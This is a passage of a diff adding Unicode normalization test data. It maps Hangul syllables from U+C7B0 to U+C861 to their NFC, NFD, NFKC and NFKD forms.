+{ source: [0xC7B0], NFC: [0xC7B0], NFD: [0x110C, 0x1162, 0x11AB], NFKC: [0xC7B0], NFKD: [0x110C, 0x1162, 0x11AB] },
+{ source: [0xC7B1], NFC: [0xC7B1], NFD: [0x110C, 0x1162, 0x11AC], NFKC: [0xC7B1], NFKD: [0x110C, 0x1162, 0x11AC] },
+{ source: [0xC7B2], NFC: [0xC7B2], NFD: [0x110C, 0x1162, 0x11AD], NFKC: [0xC7B2], NFKD: [0x110C, 0x1162, 0x11AD] },
+{ source: [0xC7B3], NFC: [0xC7B3], NFD: [0x110C, 0x1162, 0x11AE], NFKC: [0xC7B3], NFKD: [0x110C, 0x1162, 0x11AE] },
+{ source: [0xC7B4], NFC: [0xC7B4], NFD: [0x110C, 0x1162, 0x11AF], NFKC: [0xC7B4], NFKD: [0x110C, 0x1162, 0x11AF] },
+{ source: [0xC7B5], NFC: [0xC7B5], NFD: [0x110C, 0x1162, 0x11B0], NFKC: [0xC7B5], NFKD: [0x110C, 0x1162, 0x11B0] },
+{ source: [0xC7B6], NFC: [0xC7B6], NFD: [0x110C, 0x1162, 0x11B1], NFKC: [0xC7B6], NFKD: [0x110C, 0x1162, 0x11B1] },
+{ source: [0xC7B7], NFC: [0xC7B7], NFD: [0x110C, 0x1162, 0x11B2], NFKC: [0xC7B7], NFKD: [0x110C, 0x1162, 0x11B2] },
+{ source: [0xC7B8], NFC: [0xC7B8], NFD: [0x110C, 0x1162, 0x11B3], NFKC: [0xC7B8], NFKD: [0x110C, 0x1162, 0x11B3] },
+{ source: [0xC7B9], NFC: [0xC7B9], NFD: [0x110C, 0x1162, 0x11B4], NFKC: [0xC7B9], NFKD: [0x110C, 0x1162, 0x11B4] },
+{ source: [0xC7BA], NFC: [0xC7BA], NFD: [0x110C, 0x1162, 0x11B5], NFKC: [0xC7BA], NFKD: [0x110C, 0x1162, 0x11B5] },
+{ source: [0xC7BB], NFC: [0xC7BB], NFD: [0x110C, 0x1162, 0x11B6], NFKC: [0xC7BB], NFKD: [0x110C, 0x1162, 0x11B6] },
+{ source: [0xC7BC], NFC: [0xC7BC], NFD: [0x110C, 0x1162, 0x11B7], NFKC: [0xC7BC], NFKD: [0x110C, 0x1162, 0x11B7] },
+{ source: [0xC7BD], NFC: [0xC7BD], NFD: [0x110C, 0x1162, 0x11B8], NFKC: [0xC7BD], NFKD: [0x110C, 0x1162, 0x11B8] },
+{ source: [0xC7BE], NFC: [0xC7BE], NFD: [0x110C, 0x1162, 0x11B9], NFKC: [0xC7BE], NFKD: [0x110C, 0x1162, 0x11B9] },
+{ source: [0xC7BF], NFC: [0xC7BF], NFD: [0x110C, 0x1162, 0x11BA], NFKC: [0xC7BF], NFKD: [0x110C, 0x1162, 0x11BA] },
+{ source: [0xC7C0], NFC: [0xC7C0], NFD: [0x110C, 0x1162, 0x11BB], NFKC: [0xC7C0], NFKD: [0x110C, 0x1162, 0x11BB] },
+{ source: [0xC7C1], NFC: [0xC7C1], NFD: [0x110C, 0x1162, 0x11BC], NFKC: [0xC7C1], NFKD: [0x110C, 0x1162, 0x11BC] },
+{ source: [0xC7C2], NFC: [0xC7C2], NFD: [0x110C, 0x1162, 0x11BD], NFKC: [0xC7C2], NFKD: [0x110C, 0x1162, 0x11BD] },
+{ source: [0xC7C3], NFC: [0xC7C3], NFD: [0x110C, 0x1162, 0x11BE], NFKC: [0xC7C3], NFKD: [0x110C, 0x1162, 0x11BE] },
+{ source: [0xC7C4], NFC: [0xC7C4], NFD: [0x110C, 0x1162, 0x11BF], NFKC: [0xC7C4], NFKD: [0x110C, 0x1162, 0x11BF] },
+{ source: [0xC7C5], NFC: [0xC7C5], NFD: [0x110C, 0x1162, 0x11C0], NFKC: [0xC7C5], NFKD: [0x110C, 0x1162, 0x11C0] },
+{ source: [0xC7C6], NFC: [0xC7C6], NFD: [0x110C, 0x1162, 0x11C1], NFKC: [0xC7C6], NFKD: [0x110C, 0x1162, 0x11C1] },
+{ source: [0xC7C7], NFC: [0xC7C7], NFD: [0x110C, 0x1162, 0x11C2], NFKC: [0xC7C7], NFKD: [0x110C, 0x1162, 0x11C2] },
+{ source: [0xC7C8], NFC: [0xC7C8], NFD: [0x110C, 0x1163], NFKC: [0xC7C8], NFKD: [0x110C, 0x1163] },
+{ source: [0xC7C9], NFC: [0xC7C9], NFD: [0x110C, 0x1163, 0x11A8], NFKC: [0xC7C9], NFKD: [0x110C, 0x1163, 0x11A8] },
+{ source: [0xC7CA], NFC: [0xC7CA], NFD: [0x110C, 0x1163, 0x11A9], NFKC: [0xC7CA], NFKD: [0x110C, 0x1163, 0x11A9] },
+{ source: [0xC7CB], NFC: [0xC7CB], NFD: [0x110C, 0x1163, 0x11AA], NFKC: [0xC7CB], NFKD: [0x110C, 0x1163, 0x11AA] },
+{ source: [0xC7CC], NFC: [0xC7CC], NFD: [0x110C, 0x1163, 0x11AB], NFKC: [0xC7CC], NFKD: [0x110C, 0x1163, 0x11AB] },
+{ source: [0xC7CD], NFC: [0xC7CD], NFD: [0x110C, 0x1163, 0x11AC], NFKC: [0xC7CD], NFKD: [0x110C, 0x1163, 0x11AC] },
+{ source: [0xC7CE], NFC: [0xC7CE], NFD: [0x110C, 0x1163, 0x11AD], NFKC: [0xC7CE], NFKD: [0x110C, 0x1163, 0x11AD] },
+{ source: [0xC7CF], NFC: [0xC7CF], NFD: [0x110C, 0x1163, 0x11AE], NFKC: [0xC7CF], NFKD: [0x110C, 0x1163, 0x11AE] },
+{ source: [0xC7D0], NFC: [0xC7D0], NFD: [0x110C, 0x1163, 0x11AF], NFKC: [0xC7D0], NFKD: [0x110C, 0x1163, 0x11AF] },
+{ source: [0xC7D1], NFC: [0xC7D1], NFD: [0x110C, 0x1163, 0x11B0], NFKC: [0xC7D1], NFKD: [0x110C, 0x1163, 0x11B0] },
+{ source: [0xC7D2], NFC: [0xC7D2], NFD: [0x110C, 0x1163, 0x11B1], NFKC: [0xC7D2], NFKD: [0x110C, 0x1163, 0x11B1] },
+{ source: [0xC7D3], NFC: [0xC7D3], NFD: [0x110C, 0x1163, 0x11B2], NFKC: [0xC7D3], NFKD: [0x110C, 0x1163, 0x11B2] },
+{ source: [0xC7D4], NFC: [0xC7D4], NFD: [0x110C, 0x1163, 0x11B3], NFKC: [0xC7D4], NFKD: [0x110C, 0x1163, 0x11B3] },
+{ source: [0xC7D5], NFC: [0xC7D5], NFD: [0x110C, 0x1163, 0x11B4], NFKC: [0xC7D5], NFKD: [0x110C, 0x1163, 0x11B4] },
+{ source: [0xC7D6], NFC: [0xC7D6], NFD: [0x110C, 0x1163, 0x11B5], NFKC: [0xC7D6], NFKD: [0x110C, 0x1163, 0x11B5] },
+{ source: [0xC7D7], NFC: [0xC7D7], NFD: [0x110C, 0x1163, 0x11B6], NFKC: [0xC7D7], NFKD: [0x110C, 0x1163, 0x11B6] },
+{ source: [0xC7D8], NFC: [0xC7D8], NFD: [0x110C, 0x1163, 0x11B7], NFKC: [0xC7D8], NFKD: [0x110C, 0x1163, 0x11B7] },
+{ source: [0xC7D9], NFC: [0xC7D9], NFD: [0x110C, 0x1163, 0x11B8], NFKC: [0xC7D9], NFKD: [0x110C, 0x1163, 0x11B8] },
+{ source: [0xC7DA], NFC: [0xC7DA], NFD: [0x110C, 0x1163, 0x11B9], NFKC: [0xC7DA], NFKD: [0x110C, 0x1163, 0x11B9] },
+{ source: [0xC7DB], NFC: [0xC7DB], NFD: [0x110C, 0x1163, 0x11BA], NFKC: [0xC7DB], NFKD: [0x110C, 0x1163, 0x11BA] },
+{ source: [0xC7DC], NFC: [0xC7DC], NFD: [0x110C, 0x1163, 0x11BB], NFKC: [0xC7DC], NFKD: [0x110C, 0x1163, 0x11BB] },
+{ source: [0xC7DD], NFC: [0xC7DD], NFD: [0x110C, 0x1163, 0x11BC], NFKC: [0xC7DD], NFKD: [0x110C, 0x1163, 0x11BC] },
+{ source: [0xC7DE], NFC: [0xC7DE], NFD: [0x110C, 0x1163, 0x11BD], NFKC: [0xC7DE], NFKD: [0x110C, 0x1163, 0x11BD] },
+{ source: [0xC7DF], NFC: [0xC7DF], NFD: [0x110C, 0x1163, 0x11BE], NFKC: [0xC7DF], NFKD: [0x110C, 0x1163, 0x11BE] },
+{ source: [0xC7E0], NFC: [0xC7E0], NFD: [0x110C, 0x1163, 0x11BF], NFKC: [0xC7E0], NFKD: [0x110C, 0x1163, 0x11BF] },
+{ source: [0xC7E1], NFC: [0xC7E1], NFD: [0x110C, 0x1163, 0x11C0], NFKC: [0xC7E1], NFKD: [0x110C, 0x1163, 0x11C0] },
+{ source: [0xC7E2], NFC: [0xC7E2], NFD: [0x110C, 0x1163, 0x11C1], NFKC: [0xC7E2], NFKD: [0x110C, 0x1163, 0x11C1] },
+{ source: [0xC7E3], NFC: [0xC7E3], NFD: [0x110C, 0x1163, 0x11C2], NFKC: [0xC7E3], NFKD: [0x110C, 0x1163, 0x11C2] },
+{ source: [0xC7E4], NFC: [0xC7E4], NFD: [0x110C, 0x1164], NFKC: [0xC7E4], NFKD: [0x110C, 0x1164] },
+{ source: [0xC7E5], NFC: [0xC7E5], NFD: [0x110C, 0x1164, 0x11A8], NFKC: [0xC7E5], NFKD: [0x110C, 0x1164, 0x11A8] },
+{ source: [0xC7E6], NFC: [0xC7E6], NFD: [0x110C, 0x1164, 0x11A9], NFKC: [0xC7E6], NFKD: [0x110C, 0x1164, 0x11A9] },
+{ source: [0xC7E7], NFC: [0xC7E7], NFD: [0x110C, 0x1164, 0x11AA], NFKC: [0xC7E7], NFKD: [0x110C, 0x1164, 0x11AA] },
+{ source: [0xC7E8], NFC: [0xC7E8], NFD: [0x110C, 0x1164, 0x11AB], NFKC: [0xC7E8], NFKD: [0x110C, 0x1164, 0x11AB] },
+{ source: [0xC7E9], NFC: [0xC7E9], NFD: [0x110C, 0x1164, 0x11AC], NFKC: [0xC7E9], NFKD: [0x110C, 0x1164, 0x11AC] },
+{ source: [0xC7EA], NFC: [0xC7EA], NFD: [0x110C, 0x1164, 0x11AD], NFKC: [0xC7EA], NFKD: [0x110C, 0x1164, 0x11AD] },
+{ source: [0xC7EB], NFC: [0xC7EB], NFD: [0x110C, 0x1164, 0x11AE], NFKC: [0xC7EB], NFKD: [0x110C, 0x1164, 0x11AE] },
+{ source: [0xC7EC], NFC: [0xC7EC], NFD: [0x110C, 0x1164, 0x11AF], NFKC: [0xC7EC], NFKD: [0x110C, 0x1164, 0x11AF] },
+{ source: [0xC7ED], NFC: [0xC7ED], NFD: [0x110C, 0x1164, 0x11B0], NFKC: [0xC7ED], NFKD: [0x110C, 0x1164, 0x11B0] },
+{ source: [0xC7EE], NFC: [0xC7EE], NFD: [0x110C, 0x1164, 0x11B1], NFKC: [0xC7EE], NFKD: [0x110C, 0x1164, 0x11B1] },
+{ source: [0xC7EF], NFC: [0xC7EF], NFD: [0x110C, 0x1164, 0x11B2], NFKC: [0xC7EF], NFKD: [0x110C, 0x1164, 0x11B2] },
+{ source: [0xC7F0], NFC: [0xC7F0], NFD: [0x110C, 0x1164, 0x11B3], NFKC: [0xC7F0], NFKD: [0x110C, 0x1164, 0x11B3] },
+{ source: [0xC7F1], NFC: [0xC7F1], NFD: [0x110C, 0x1164, 0x11B4], NFKC: [0xC7F1], NFKD: [0x110C, 0x1164, 0x11B4] },
+{ source: [0xC7F2], NFC: [0xC7F2], NFD: [0x110C, 0x1164, 0x11B5], NFKC: [0xC7F2], NFKD: [0x110C, 0x1164, 0x11B5] },
+{ source: [0xC7F3], NFC: [0xC7F3], NFD: [0x110C, 0x1164, 0x11B6], NFKC: [0xC7F3], NFKD: [0x110C, 0x1164, 0x11B6] },
+{ source: [0xC7F4], NFC: [0xC7F4], NFD: [0x110C, 0x1164, 0x11B7], NFKC: [0xC7F4], NFKD: [0x110C, 0x1164, 0x11B7] },
+{ source: [0xC7F5], NFC: [0xC7F5], NFD: [0x110C, 0x1164, 0x11B8], NFKC: [0xC7F5], NFKD: [0x110C, 0x1164, 0x11B8] },
+{ source: [0xC7F6], NFC: [0xC7F6], NFD: [0x110C, 0x1164, 0x11B9], NFKC: [0xC7F6], NFKD: [0x110C, 0x1164, 0x11B9] },
+{ source: [0xC7F7], NFC: [0xC7F7], NFD: [0x110C, 0x1164, 0x11BA], NFKC: [0xC7F7], NFKD: [0x110C, 0x1164, 0x11BA] },
+{ source: [0xC7F8], NFC: [0xC7F8], NFD: [0x110C, 0x1164, 0x11BB], NFKC: [0xC7F8], NFKD: [0x110C, 0x1164, 0x11BB] },
+{ source: [0xC7F9], NFC: [0xC7F9], NFD: [0x110C, 0x1164, 0x11BC], NFKC: [0xC7F9], NFKD: [0x110C, 0x1164, 0x11BC] },
+{ source: [0xC7FA], NFC: [0xC7FA], NFD: [0x110C, 0x1164, 0x11BD], NFKC: [0xC7FA], NFKD: [0x110C, 0x1164, 0x11BD] },
+{ source: [0xC7FB], NFC: [0xC7FB], NFD: [0x110C, 0x1164, 0x11BE], NFKC: [0xC7FB], NFKD: [0x110C, 0x1164, 0x11BE] },
+{ source: [0xC7FC], NFC: [0xC7FC], NFD: [0x110C, 0x1164, 0x11BF], NFKC: [0xC7FC], NFKD: [0x110C, 0x1164, 0x11BF] },
+{ source: [0xC7FD], NFC: [0xC7FD], NFD: [0x110C, 0x1164, 0x11C0], NFKC: [0xC7FD], NFKD: [0x110C, 0x1164, 0x11C0] },
+{ source: [0xC7FE], NFC: [0xC7FE], NFD: [0x110C, 0x1164, 0x11C1], NFKC: [0xC7FE], NFKD: [0x110C, 0x1164, 0x11C1] },
+{ source: [0xC7FF], NFC: [0xC7FF], NFD: [0x110C, 0x1164, 0x11C2], NFKC: [0xC7FF], NFKD: [0x110C, 0x1164, 0x11C2] },
+{ source: [0xC800], NFC: [0xC800], NFD: [0x110C, 0x1165], NFKC: [0xC800], NFKD: [0x110C, 0x1165] },
+{ source: [0xC801], NFC: [0xC801], NFD: [0x110C, 0x1165, 0x11A8], NFKC: [0xC801], NFKD: [0x110C, 0x1165, 0x11A8] },
+{ source: [0xC802], NFC: [0xC802], NFD: [0x110C, 0x1165, 0x11A9], NFKC: [0xC802], NFKD: [0x110C, 0x1165, 0x11A9] },
+{ source: [0xC803], NFC: [0xC803], NFD: [0x110C, 0x1165, 0x11AA], NFKC: [0xC803], NFKD: [0x110C, 0x1165, 0x11AA] },
+{ source: [0xC804], NFC: [0xC804], NFD: [0x110C, 0x1165, 0x11AB], NFKC: [0xC804], NFKD: [0x110C, 0x1165, 0x11AB] },
+{ source: [0xC805], NFC: [0xC805], NFD: [0x110C, 0x1165, 0x11AC], NFKC: [0xC805], NFKD: [0x110C, 0x1165, 0x11AC] },
+{ source: [0xC806], NFC: [0xC806], NFD: [0x110C, 0x1165, 0x11AD], NFKC: [0xC806], NFKD: [0x110C, 0x1165, 0x11AD] },
+{ source: [0xC807], NFC: [0xC807], NFD: [0x110C, 0x1165, 0x11AE], NFKC: [0xC807], NFKD: [0x110C, 0x1165, 0x11AE] },
+{ source: [0xC808], NFC: [0xC808], NFD: [0x110C, 0x1165, 0x11AF], NFKC: [0xC808], NFKD: [0x110C, 0x1165, 0x11AF] },
+{ source: [0xC809], NFC: [0xC809], NFD: [0x110C, 0x1165, 0x11B0], NFKC: [0xC809], NFKD: [0x110C, 0x1165, 0x11B0] },
+{ source: [0xC80A], NFC: [0xC80A], NFD: [0x110C, 0x1165, 0x11B1], NFKC: [0xC80A], NFKD: [0x110C, 0x1165, 0x11B1] },
+{ source: [0xC80B], NFC: [0xC80B], NFD: [0x110C, 0x1165, 0x11B2], NFKC: [0xC80B], NFKD: [0x110C, 0x1165, 0x11B2] },
+{ source: [0xC80C], NFC: [0xC80C], NFD: [0x110C, 0x1165, 0x11B3], NFKC: [0xC80C], NFKD: [0x110C, 0x1165, 0x11B3] },
+{ source: [0xC80D], NFC: [0xC80D], NFD: [0x110C, 0x1165, 0x11B4], NFKC: [0xC80D], NFKD: [0x110C, 0x1165, 0x11B4] },
+{ source: [0xC80E], NFC: [0xC80E], NFD: [0x110C, 0x1165, 0x11B5], NFKC: [0xC80E], NFKD: [0x110C, 0x1165, 0x11B5] },
+{ source: [0xC80F], NFC: [0xC80F], NFD: [0x110C, 0x1165, 0x11B6], NFKC: [0xC80F], NFKD: [0x110C, 0x1165, 0x11B6] },
+{ source: [0xC810], NFC: [0xC810], NFD: [0x110C, 0x1165, 0x11B7], NFKC: [0xC810], NFKD: [0x110C, 0x1165, 0x11B7] },
+{ source: [0xC811], NFC: [0xC811], NFD: [0x110C, 0x1165, 0x11B8], NFKC: [0xC811], NFKD: [0x110C, 0x1165, 0x11B8] },
+{ source: [0xC812], NFC: [0xC812], NFD: [0x110C, 0x1165, 0x11B9], NFKC: [0xC812], NFKD: [0x110C, 0x1165, 0x11B9] },
+{ source: [0xC813], NFC: [0xC813], NFD: [0x110C, 0x1165, 0x11BA], NFKC: [0xC813], NFKD: [0x110C, 0x1165, 0x11BA] },
+{ source: [0xC814], NFC: [0xC814], NFD: [0x110C, 0x1165, 0x11BB], NFKC: [0xC814], NFKD: [0x110C, 0x1165, 0x11BB] },
+{ source: [0xC815], NFC: [0xC815], NFD: [0x110C, 0x1165, 0x11BC], NFKC: [0xC815], NFKD: [0x110C, 0x1165, 0x11BC] },
+{ source: [0xC816], NFC: [0xC816], NFD: [0x110C, 0x1165, 0x11BD], NFKC: [0xC816], NFKD: [0x110C, 0x1165, 0x11BD] },
+{ source: [0xC817], NFC: [0xC817], NFD: [0x110C, 0x1165, 0x11BE], NFKC: [0xC817], NFKD: [0x110C, 0x1165, 0x11BE] },
+{ source: [0xC818], NFC: [0xC818], NFD: [0x110C, 0x1165, 0x11BF], NFKC: [0xC818], NFKD: [0x110C, 0x1165, 0x11BF] },
+{ source: [0xC819], NFC: [0xC819], NFD: [0x110C, 0x1165, 0x11C0], NFKC: [0xC819], NFKD: [0x110C, 0x1165, 0x11C0] },
+{ source: [0xC81A], NFC: [0xC81A], NFD: [0x110C, 0x1165, 0x11C1], NFKC: [0xC81A], NFKD: [0x110C, 0x1165, 0x11C1] },
+{ source: [0xC81B], NFC: [0xC81B], NFD: [0x110C, 0x1165, 0x11C2], NFKC: [0xC81B], NFKD: [0x110C, 0x1165, 0x11C2] },
+{ source: [0xC81C], NFC: [0xC81C], NFD: [0x110C, 0x1166], NFKC: [0xC81C], NFKD: [0x110C, 0x1166] },
+{ source: [0xC81D], NFC: [0xC81D], NFD: [0x110C, 0x1166, 0x11A8], NFKC: [0xC81D], NFKD: [0x110C, 0x1166, 0x11A8] },
+{ source: [0xC81E], NFC: [0xC81E], NFD: [0x110C, 0x1166, 0x11A9], NFKC: [0xC81E], NFKD: [0x110C, 0x1166, 0x11A9] },
+{ source: [0xC81F], NFC: [0xC81F], NFD: [0x110C, 0x1166, 0x11AA], NFKC: [0xC81F], NFKD: [0x110C, 0x1166, 0x11AA] },
+{ source: [0xC820], NFC: [0xC820], NFD: [0x110C, 0x1166, 0x11AB], NFKC: [0xC820], NFKD: [0x110C, 0x1166, 0x11AB] },
+{ source: [0xC821], NFC: [0xC821], NFD: [0x110C, 0x1166, 0x11AC], NFKC: [0xC821], NFKD: [0x110C, 0x1166, 0x11AC] },
+{ source: [0xC822], NFC: [0xC822], NFD: [0x110C, 0x1166, 0x11AD], NFKC: [0xC822], NFKD: [0x110C, 0x1166, 0x11AD] },
+{ source: [0xC823], NFC: [0xC823], NFD: [0x110C, 0x1166, 0x11AE], NFKC: [0xC823], NFKD: [0x110C, 0x1166, 0x11AE] },
+{ source: [0xC824], NFC: [0xC824], NFD: [0x110C, 0x1166, 0x11AF], NFKC: [0xC824], NFKD: [0x110C, 0x1166, 0x11AF] },
+{ source: [0xC825], NFC: [0xC825], NFD: [0x110C, 0x1166, 0x11B0], NFKC: [0xC825], NFKD: [0x110C, 0x1166, 0x11B0] },
+{ source: [0xC826], NFC: [0xC826], NFD: [0x110C, 0x1166, 0x11B1], NFKC: [0xC826], NFKD: [0x110C, 0x1166, 0x11B1] },
+{ source: [0xC827], NFC: [0xC827], NFD: [0x110C, 0x1166, 0x11B2], NFKC: [0xC827], NFKD: [0x110C, 0x1166, 0x11B2] },
+{ source: [0xC828], NFC: [0xC828], NFD: [0x110C, 0x1166, 0x11B3], NFKC: [0xC828], NFKD: [0x110C, 0x1166, 0x11B3] },
+{ source: [0xC829], NFC: [0xC829], NFD: [0x110C, 0x1166, 0x11B4], NFKC: [0xC829], NFKD: [0x110C, 0x1166, 0x11B4] },
+{ source: [0xC82A], NFC: [0xC82A], NFD: [0x110C, 0x1166, 0x11B5], NFKC: [0xC82A], NFKD: [0x110C, 0x1166, 0x11B5] },
+{ source: [0xC82B], NFC: [0xC82B], NFD: [0x110C, 0x1166, 0x11B6], NFKC: [0xC82B], NFKD: [0x110C, 0x1166, 0x11B6] },
+{ source: [0xC82C], NFC: [0xC82C], NFD: [0x110C, 0x1166, 0x11B7], NFKC: [0xC82C], NFKD: [0x110C, 0x1166, 0x11B7] },
+{ source: [0xC82D], NFC: [0xC82D], NFD: [0x110C, 0x1166, 0x11B8], NFKC: [0xC82D], NFKD: [0x110C, 0x1166, 0x11B8] },
+{ source: [0xC82E], NFC: [0xC82E], NFD: [0x110C, 0x1166, 0x11B9], NFKC: [0xC82E], NFKD: [0x110C, 0x1166, 0x11B9] },
+{ source: [0xC82F], NFC: [0xC82F], NFD: [0x110C, 0x1166, 0x11BA], NFKC: [0xC82F], NFKD: [0x110C, 0x1166, 0x11BA] },
+{ source: [0xC830], NFC: [0xC830], NFD: [0x110C, 0x1166, 0x11BB], NFKC: [0xC830], NFKD: [0x110C, 0x1166, 0x11BB] },
+{ source: [0xC831], NFC: [0xC831], NFD: [0x110C, 0x1166, 0x11BC], NFKC: [0xC831], NFKD: [0x110C, 0x1166, 0x11BC] },
+{ source: [0xC832], NFC: [0xC832], NFD: [0x110C, 0x1166, 0x11BD], NFKC: [0xC832], NFKD: [0x110C, 0x1166, 0x11BD] },
+{ source: [0xC833], NFC: [0xC833], NFD: [0x110C, 0x1166, 0x11BE], NFKC: [0xC833], NFKD: [0x110C, 0x1166, 0x11BE] },
+{ source: [0xC834], NFC: [0xC834], NFD: [0x110C, 0x1166, 0x11BF], NFKC: [0xC834], NFKD: [0x110C, 0x1166, 0x11BF] },
+{ source: [0xC835], NFC: [0xC835], NFD: [0x110C, 0x1166, 0x11C0], NFKC: [0xC835], NFKD: [0x110C, 0x1166, 0x11C0] },
+{ source: [0xC836], NFC: [0xC836], NFD: [0x110C, 0x1166, 0x11C1], NFKC: [0xC836], NFKD: [0x110C, 0x1166, 0x11C1] },
+{ source: [0xC837], NFC: [0xC837], NFD: [0x110C, 0x1166, 0x11C2], NFKC: [0xC837], NFKD: [0x110C, 0x1166, 0x11C2] },
+{ source: [0xC838], NFC: [0xC838], NFD: [0x110C, 0x1167], NFKC: [0xC838], NFKD: [0x110C, 0x1167] },
+{ source: [0xC839], NFC: [0xC839], NFD: [0x110C, 0x1167, 0x11A8], NFKC: [0xC839], NFKD: [0x110C, 0x1167, 0x11A8] },
+{ source: [0xC83A], NFC: [0xC83A], NFD: [0x110C, 0x1167, 0x11A9], NFKC: [0xC83A], NFKD: [0x110C, 0x1167, 0x11A9] },
+{ source: [0xC83B], NFC: [0xC83B], NFD: [0x110C, 0x1167, 0x11AA], NFKC: [0xC83B], NFKD: [0x110C, 0x1167, 0x11AA] },
+{ source: [0xC83C], NFC: [0xC83C], NFD: [0x110C, 0x1167, 0x11AB], NFKC: [0xC83C], NFKD: [0x110C, 0x1167, 0x11AB] },
+{ source: [0xC83D], NFC: [0xC83D], NFD: [0x110C, 0x1167, 0x11AC], NFKC: [0xC83D], NFKD: [0x110C, 0x1167, 0x11AC] },
+{ source: [0xC83E], NFC: [0xC83E], NFD: [0x110C, 0x1167, 0x11AD], NFKC: [0xC83E], NFKD: [0x110C, 0x1167, 0x11AD] },
+{ source: [0xC83F], NFC: [0xC83F], NFD: [0x110C, 0x1167, 0x11AE], NFKC: [0xC83F], NFKD: [0x110C, 0x1167, 0x11AE] },
+{ source: [0xC840], NFC: [0xC840], NFD: [0x110C, 0x1167, 0x11AF], NFKC: [0xC840], NFKD: [0x110C, 0x1167, 0x11AF] },
+{ source: [0xC841], NFC: [0xC841], NFD: [0x110C, 0x1167, 0x11B0], NFKC: [0xC841], NFKD: [0x110C, 0x1167, 0x11B0] },
+{ source: [0xC842], NFC: [0xC842], NFD: [0x110C, 0x1167, 0x11B1], NFKC: [0xC842], NFKD: [0x110C, 0x1167, 0x11B1] },
+{ source: [0xC843], NFC: [0xC843], NFD: [0x110C, 0x1167, 0x11B2], NFKC: [0xC843], NFKD: [0x110C, 0x1167, 0x11B2] },
+{ source: [0xC844], NFC: [0xC844], NFD: [0x110C, 0x1167, 0x11B3], NFKC: [0xC844], NFKD: [0x110C, 0x1167, 0x11B3] },
+{ source: [0xC845], NFC: [0xC845], NFD: [0x110C, 0x1167, 0x11B4], NFKC: [0xC845], NFKD: [0x110C, 0x1167, 0x11B4] },
+{ source: [0xC846], NFC: [0xC846], NFD: [0x110C, 0x1167, 0x11B5], NFKC: [0xC846], NFKD: [0x110C, 0x1167, 0x11B5] },
+{ source: [0xC847], NFC: [0xC847], NFD: [0x110C, 0x1167, 0x11B6], NFKC: [0xC847], NFKD: [0x110C, 0x1167, 0x11B6] },
+{ source: [0xC848], NFC: [0xC848], NFD: [0x110C, 0x1167, 0x11B7], NFKC: [0xC848], NFKD: [0x110C, 0x1167, 0x11B7] },
+{ source: [0xC849], NFC: [0xC849], NFD: [0x110C, 0x1167, 0x11B8], NFKC: [0xC849], NFKD: [0x110C, 0x1167, 0x11B8] },
+{ source: [0xC84A], NFC: [0xC84A], NFD: [0x110C, 0x1167, 0x11B9], NFKC: [0xC84A], NFKD: [0x110C, 0x1167, 0x11B9] },
+{ source: [0xC84B], NFC: [0xC84B], NFD: [0x110C, 0x1167, 0x11BA], NFKC: [0xC84B], NFKD: [0x110C, 0x1167, 0x11BA] },
+{ source: [0xC84C], NFC: [0xC84C], NFD: [0x110C, 0x1167, 0x11BB], NFKC: [0xC84C], NFKD: [0x110C, 0x1167, 0x11BB] },
+{ source: [0xC84D], NFC: [0xC84D], NFD: [0x110C, 0x1167, 0x11BC], NFKC: [0xC84D], NFKD: [0x110C, 0x1167, 0x11BC] },
+{ source: [0xC84E], NFC: [0xC84E], NFD: [0x110C, 0x1167, 0x11BD], NFKC: [0xC84E], NFKD: [0x110C, 0x1167, 0x11BD] },
+{ source: [0xC84F], NFC: [0xC84F], NFD: [0x110C, 0x1167, 0x11BE], NFKC: [0xC84F], NFKD: [0x110C, 0x1167, 0x11BE] },
+{ source: [0xC850], NFC: [0xC850], NFD: [0x110C, 0x1167, 0x11BF], NFKC: [0xC850], NFKD: [0x110C, 0x1167, 0x11BF] },
+{ source: [0xC851], NFC: [0xC851], NFD: [0x110C, 0x1167, 0x11C0], NFKC: [0xC851], NFKD: [0x110C, 0x1167, 0x11C0] },
+{ source: [0xC852], NFC: [0xC852], NFD: [0x110C, 0x1167, 0x11C1], NFKC: [0xC852], NFKD: [0x110C, 0x1167, 0x11C1] },
+{ source: [0xC853], NFC: [0xC853], NFD: [0x110C, 0x1167, 0x11C2], NFKC: [0xC853], NFKD: [0x110C, 0x1167, 0x11C2] },
+{ source: [0xC854], NFC: [0xC854], NFD: [0x110C, 0x1168], NFKC: [0xC854], NFKD: [0x110C, 0x1168] },
+{ source: [0xC855], NFC: [0xC855], NFD: [0x110C, 0x1168, 0x11A8], NFKC: [0xC855], NFKD: [0x110C, 0x1168, 0x11A8] },
+{ source: [0xC856], NFC: [0xC856], NFD: [0x110C, 0x1168, 0x11A9], NFKC: [0xC856], NFKD: [0x110C, 0x1168, 0x11A9] },
+{ source: [0xC857], NFC: [0xC857], NFD: [0x110C, 0x1168, 0x11AA], NFKC: [0xC857], NFKD: [0x110C, 0x1168, 0x11AA] },
+{ source: [0xC858], NFC: [0xC858], NFD: [0x110C, 0x1168, 0x11AB], NFKC: [0xC858], NFKD: [0x110C, 0x1168, 0x11AB] },
+{ source: [0xC859], NFC: [0xC859], NFD: [0x110C, 0x1168, 0x11AC], NFKC: [0xC859], NFKD: [0x110C, 0x1168, 0x11AC] },
+{ source: [0xC85A], NFC: [0xC85A], NFD: [0x110C, 0x1168, 0x11AD], NFKC: [0xC85A], NFKD: [0x110C, 0x1168, 0x11AD] },
+{ source: [0xC85B], NFC: [0xC85B], NFD: [0x110C, 0x1168, 0x11AE], NFKC: [0xC85B], NFKD: [0x110C, 0x1168, 0x11AE] },
+{ source: [0xC85C], NFC: [0xC85C], NFD: [0x110C, 0x1168, 0x11AF], NFKC: [0xC85C], NFKD: [0x110C, 0x1168, 0x11AF] },
+{ source: [0xC85D], NFC: [0xC85D], NFD: [0x110C, 0x1168, 0x11B0], NFKC: [0xC85D], NFKD: [0x110C, 0x1168, 0x11B0] },
+{ source: [0xC85E], NFC: [0xC85E], NFD: [0x110C, 0x1168, 0x11B1], NFKC: [0xC85E], NFKD: [0x110C, 0x1168, 0x11B1] },
+{ source: [0xC85F], NFC: [0xC85F], NFD: [0x110C, 0x1168, 0x11B2], NFKC: [0xC85F], NFKD: [0x110C, 0x1168, 0x11B2] },
+{ source: [0xC860], NFC: [0xC860], NFD: [0x110C, 0x1168, 0x11B3], NFKC: [0xC860], NFKD: [0x110C, 0x1168, 0x11B3] },
+{ source: [0xC861], NFC: [0xC861], NFD: [0x110C, 0x1168, 0x11B4], NFKC: [0xC861], NFKD: [0x110C, 0x1168, 0x11B4] },
